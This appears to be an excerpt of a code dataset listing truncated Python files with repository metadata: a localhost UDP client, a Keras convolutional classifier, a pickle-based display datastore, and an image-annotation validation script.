"Apache-2.0"
] | null | null | null | tsUclnt3.py | kona3266/SocketServer | 2bc9b271c909bba6b6457c709c98e95919f86198 | [
"Apache-2.0"
] | null | null | null | from socket import *
from time import ctime
import threading
HOST = 'localhost'
PORT = 21567
BUFSIZ = 1024
ADDR = (HOST, PORT)
udpCliSock = socket(AF_INET, SOCK_DGRAM)
udpCliSock.bind(('localhost',21568))
def recv(udpCliSock):
while True:
data, ADDR = udpCliSock.recvfrom(BUFSIZ)
if data:
... | 27.038462 | 62 | 0.650071 |
ea017b8ad17b1ed3d2fea49e4ae08181dccd91c6 | 4,600 | py | Python | DataProcess/net/my_fcn.py | ZhangQiHang-98/RFID_Scirpt | 0f74087add4cf16e2d201ad4f31cc1abd287db7e | [
"MIT"
] | 3 | 2021-12-24T04:52:03.000Z | 2021-12-27T02:14:49.000Z | DataProcess/net/my_fcn.py | ZhangQiHang-98/RFID_Scirpt | 0f74087add4cf16e2d201ad4f31cc1abd287db7e | [
"MIT"
] | null | null | null | DataProcess/net/my_fcn.py | ZhangQiHang-98/RFID_Scirpt | 0f74087add4cf16e2d201ad4f31cc1abd287db7e | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
@File :my_fcn.py
@Author :Zhang Qihang
@Date :2022/4/18 14:18
@Description :
"""
import keras
import numpy as np
import sklearn
from utils.utils import save_logs
class Classifier_FCN:
def __init__(self, output_directory, input_shape, nb_classes, nb_proto... | 38.983051 | 111 | 0.640435 |
ea8a4d37664205d2ed21e17904509b4bfa8b75ef | 2,800 | py | Python | src/flocker/blueprints/mvg-frame/displays.py | Muxelmann/home-projects | 85bd06873174b9c5c6276160988c19b460370db8 | [
"MIT"
] | null | null | null | src/flocker/blueprints/mvg-frame/displays.py | Muxelmann/home-projects | 85bd06873174b9c5c6276160988c19b460370db8 | [
"MIT"
] | null | null | null | src/flocker/blueprints/mvg-frame/displays.py | Muxelmann/home-projects | 85bd06873174b9c5c6276160988c19b460370db8 | [
"MIT"
] | null | null | null | import pickle
import os
DATASTORE = {}
DATASTORE_PATH = None
def init(app):
global DATASTORE_PATH, DATASTORE
if DATASTORE_PATH is None:
DATASTORE_PATH = os.path.join(app.instance_path, 'mvg-display-data.pkl')
if not os.path.exists(DATASTORE_PATH):
with open(DATASTORE_PATH, 'wb') as f:
... | 28.865979 | 106 | 0.616786 |
103acfc1f75253ac6c29d5a72e1cf80ca446bdac | 4,682 | py | Python | scriptsForPreprocessing/tool_for_validate.py | fishial/Object-Detection-Model | 4792f65ea785156a8e240d9cdbbc0c9d013ea0bb | [
"CC0-1.0"
] | 1 | 2022-01-03T14:00:17.000Z | 2022-01-03T14:00:17.000Z | scriptsForPreprocessing/tool_for_validate.py | fishial/Object-Detection-Model | 4792f65ea785156a8e240d9cdbbc0c9d013ea0bb | [
"CC0-1.0"
] | null | null | null | scriptsForPreprocessing/tool_for_validate.py | fishial/Object-Detection-Model | 4792f65ea785156a8e240d9cdbbc0c9d013ea0bb | [
"CC0-1.0"
] | 1 | 2021-12-21T09:50:53.000Z | 2021-12-21T09:50:53.000Z | import os, json
import cv2
import random
import numpy as np
from PIL import Image, ImageDraw
def random_color():
levels = range(32, 256, 32)
return tuple(random.choice(levels) for _ in range(3))
# import data
path_to_json = r'resources/fish-img-unique/via_region_data.json'
# path to augmented dataset
path_t... | 43.351852 | 168 | 0.567065 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.